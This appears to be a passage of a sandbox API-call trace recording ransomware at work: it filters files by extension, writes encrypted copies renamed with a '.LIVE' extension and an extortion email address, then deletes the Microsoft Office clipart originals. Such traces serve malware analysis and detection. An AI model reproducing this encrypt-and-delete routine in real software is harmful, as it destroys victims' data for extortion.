[0147.910] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.910] lstrlenW (lpString=".rar") returned 4 [0147.910] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.910] lstrlenW (lpString=".bz2") returned 4 [0147.910] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.910] lstrlenW (lpString=".7z") returned 3 [0147.910] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF") returned 63 [0147.910] lstrlenW (lpString=".dbf") returned 4 [0147.910] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF") returned 63 [0147.910] lstrlenW (lpString=".1cd") returned 4 [0147.910] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF") returned 63 [0147.910] lstrlenW (lpString=".jpg") returned 4 [0147.910] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.910] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0147.910] lstrlenW (lpString="J0090089.WMF") returned 12 [0147.910] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090089.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0147.912] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=15760) returned 1 [0147.912] CloseHandle (hObject=0x1ec) returned 1 [0147.912] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090089.wmf")) returned 0x20 [0147.912] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090089.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0147.912] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090089.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0147.912] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0147.912] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0147.912] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090089.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0147.913] GetLastError () returned 0x0 [0147.913] ReadFile (in: hFile=0x1ec, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x3d90, lpOverlapped=0x0) returned 1 [0147.915] WriteFile (in: hFile=0x39c, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0x3da0, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x3da0, lpOverlapped=0x0) returned 1 [0147.916] ReadFile (in: hFile=0x1ec, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0147.916] WriteFile (in: hFile=0x39c, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0147.916] SetEndOfFile (hFile=0x39c) returned 1 [0147.916] CloseHandle (hObject=0x39c) returned 1 [0147.916] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0147.916] SetEndOfFile (hFile=0x1ec) returned 1 [0147.918] CloseHandle (hObject=0x1ec) returned 1 [0147.919] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0147.919] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090089.wmf")) returned 1 [0147.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF") returned 63 [0147.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF") returned 63 [0147.920] lstrlenW (lpString=".doc") returned 4 [0147.920] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.920] lstrlenW (lpString=".docx") returned 5 [0147.920] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0147.920] lstrlenW (lpString=".pdf") returned 4 [0147.920] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.920] lstrlenW (lpString=".xls") returned 4 [0147.920] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.920] lstrlenW (lpString=".xlsx") returned 5 [0147.920] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0147.920] lstrlenW (lpString=".ppt") returned 4 [0147.920] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF") returned 63 [0147.920] lstrlenW (lpString=".zip") returned 4 [0147.920] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.920] lstrlenW (lpString=".rar") returned 4 [0147.920] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.920] lstrlenW (lpString=".bz2") returned 4 [0147.920] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.920] lstrlenW (lpString=".7z") returned 3 [0147.920] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF") returned 63 [0147.920] lstrlenW (lpString=".dbf") returned 4 [0147.920] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF") returned 63 [0147.920] lstrlenW (lpString=".1cd") returned 4 [0147.920] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF") returned 63 [0147.920] lstrlenW (lpString=".jpg") returned 4 [0147.920] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF") returned 63 [0147.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF") returned 63 [0147.920] lstrlenW (lpString=".doc") returned 4 [0147.920] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.920] lstrlenW (lpString=".docx") returned 5 [0147.920] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0147.921] lstrlenW (lpString=".pdf") returned 4 [0147.921] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.921] lstrlenW (lpString=".xls") returned 4 [0147.921] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.921] lstrlenW (lpString=".xlsx") returned 5 [0147.921] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0147.921] lstrlenW (lpString=".ppt") returned 4 [0147.921] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF") returned 63 [0147.921] lstrlenW (lpString=".zip") returned 4 [0147.921] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.921] lstrlenW (lpString=".rar") returned 4 [0147.921] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.921] lstrlenW (lpString=".bz2") returned 4 [0147.921] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.921] lstrlenW (lpString=".7z") returned 3 [0147.921] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF") returned 63 [0147.921] lstrlenW (lpString=".dbf") returned 4 [0147.921] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF") returned 63 [0147.921] lstrlenW (lpString=".1cd") returned 4 [0147.921] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF") returned 63 [0147.921] lstrlenW (lpString=".jpg") returned 4 [0147.921] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.921] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0147.921] lstrlenW (lpString="J0090149.WMF") returned 12 [0147.921] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090149.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0147.922] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=28212) returned 1 [0147.922] CloseHandle (hObject=0x1ec) returned 1 [0147.922] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090149.wmf")) returned 0x20 [0147.922] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090149.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0147.922] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090149.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0147.922] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0147.923] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0147.923] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090149.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0147.926] GetLastError () returned 0x0 [0147.926] ReadFile (in: hFile=0x1ec, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x6e34, lpOverlapped=0x0) returned 1 [0147.928] WriteFile (in: hFile=0x39c, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0x6e40, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x6e40, lpOverlapped=0x0) returned 1 [0147.929] ReadFile (in: hFile=0x1ec, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0147.929] WriteFile (in: hFile=0x39c, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0147.929] SetEndOfFile (hFile=0x39c) returned 1 [0147.929] CloseHandle (hObject=0x39c) returned 1 [0147.978] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0147.978] SetEndOfFile (hFile=0x1ec) returned 1 [0147.980] CloseHandle (hObject=0x1ec) returned 1 [0147.980] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0148.030] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090149.wmf")) returned 1 [0148.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF") returned 63 [0148.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF") returned 63 [0148.086] lstrlenW (lpString=".doc") returned 4 [0148.086] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.086] lstrlenW (lpString=".docx") returned 5 [0148.086] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0148.086] lstrlenW (lpString=".pdf") returned 4 [0148.086] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.086] lstrlenW (lpString=".xls") returned 4 [0148.086] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.086] lstrlenW (lpString=".xlsx") returned 5 [0148.087] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0148.087] lstrlenW (lpString=".ppt") returned 4 [0148.087] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF") returned 63 [0148.087] lstrlenW (lpString=".zip") returned 4 [0148.087] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.087] lstrlenW (lpString=".rar") returned 4 [0148.087] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.087] lstrlenW (lpString=".bz2") returned 4 [0148.087] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.087] lstrlenW (lpString=".7z") returned 3 [0148.087] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF") returned 63 [0148.087] lstrlenW (lpString=".dbf") returned 4 [0148.087] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF") returned 63 [0148.087] lstrlenW (lpString=".1cd") returned 4 [0148.087] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF") returned 63 [0148.087] lstrlenW (lpString=".jpg") returned 4 [0148.087] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF") returned 63 [0148.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF") returned 63 [0148.087] lstrlenW (lpString=".doc") returned 4 [0148.087] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.087] lstrlenW (lpString=".docx") returned 5 [0148.087] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0148.087] lstrlenW (lpString=".pdf") returned 4 [0148.087] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.087] lstrlenW (lpString=".xls") returned 4 [0148.087] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.087] lstrlenW (lpString=".xlsx") returned 5 [0148.087] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0148.087] lstrlenW (lpString=".ppt") returned 4 [0148.087] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF") returned 63 [0148.088] lstrlenW (lpString=".zip") returned 4 [0148.088] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.088] lstrlenW (lpString=".rar") returned 4 [0148.088] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.088] lstrlenW (lpString=".bz2") returned 4 [0148.088] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.088] lstrlenW (lpString=".7z") returned 3 [0148.088] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF") returned 63 [0148.088] lstrlenW (lpString=".dbf") returned 4 [0148.088] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF") returned 63 [0148.088] lstrlenW (lpString=".1cd") returned 4 [0148.088] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF") returned 63 [0148.088] lstrlenW (lpString=".jpg") returned 4 [0148.088] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.088] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0148.088] lstrlenW (lpString="J0090781.WMF") returned 12 [0148.088] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090781.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0148.089] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=5314) returned 1 [0148.089] CloseHandle (hObject=0x388) returned 1 [0148.089] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090781.wmf")) returned 0x20 [0148.089] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090781.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0148.089] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090781.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0148.089] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0148.089] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0148.089] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090781.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0148.090] GetLastError () returned 0x0 [0148.090] ReadFile (in: hFile=0x388, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x14c2, lpOverlapped=0x0) returned 1 [0148.134] WriteFile (in: hFile=0x3c8, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0x14d0, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x14d0, lpOverlapped=0x0) returned 1 [0148.135] ReadFile (in: hFile=0x388, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0148.135] WriteFile (in: hFile=0x3c8, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0148.135] SetEndOfFile (hFile=0x3c8) returned 1 [0148.135] CloseHandle (hObject=0x3c8) returned 1 [0148.135] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0148.135] SetEndOfFile (hFile=0x388) returned 1 [0148.137] CloseHandle (hObject=0x388) returned 1 [0148.137] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0148.138] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090781.wmf")) returned 1 [0148.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF") returned 63 [0148.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF") returned 63 [0148.138] lstrlenW (lpString=".doc") returned 4 [0148.138] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.138] lstrlenW (lpString=".docx") returned 5 [0148.138] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0148.139] lstrlenW (lpString=".pdf") returned 4 [0148.139] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.139] lstrlenW (lpString=".xls") returned 4 [0148.139] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.139] lstrlenW (lpString=".xlsx") returned 5 [0148.139] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0148.139] lstrlenW (lpString=".ppt") returned 4 [0148.139] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF") returned 63 [0148.139] lstrlenW (lpString=".zip") returned 4 [0148.139] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.139] lstrlenW (lpString=".rar") returned 4 [0148.139] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.139] lstrlenW (lpString=".bz2") returned 4 [0148.139] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.139] lstrlenW (lpString=".7z") returned 3 [0148.139] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF") returned 63 [0148.139] lstrlenW (lpString=".dbf") returned 4 [0148.139] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF") returned 63 [0148.139] lstrlenW (lpString=".1cd") returned 4 [0148.139] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF") returned 63 [0148.139] lstrlenW (lpString=".jpg") returned 4 [0148.139] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF") returned 63 [0148.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF") returned 63 [0148.139] lstrlenW (lpString=".doc") returned 4 [0148.139] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.139] lstrlenW (lpString=".docx") returned 5 [0148.139] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0148.139] lstrlenW (lpString=".pdf") returned 4 [0148.139] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.140] lstrlenW (lpString=".xls") returned 4 [0148.140] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.140] lstrlenW (lpString=".xlsx") returned 5 [0148.140] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0148.140] lstrlenW (lpString=".ppt") returned 4 [0148.140] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF") returned 63 [0148.140] lstrlenW (lpString=".zip") returned 4 [0148.140] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.140] lstrlenW (lpString=".rar") returned 4 [0148.140] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.140] lstrlenW (lpString=".bz2") returned 4 [0148.140] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.140] lstrlenW (lpString=".7z") returned 3 [0148.140] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF") returned 63 [0148.140] lstrlenW (lpString=".dbf") returned 4 [0148.140] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF") returned 63 [0148.140] lstrlenW (lpString=".1cd") returned 4 [0148.140] 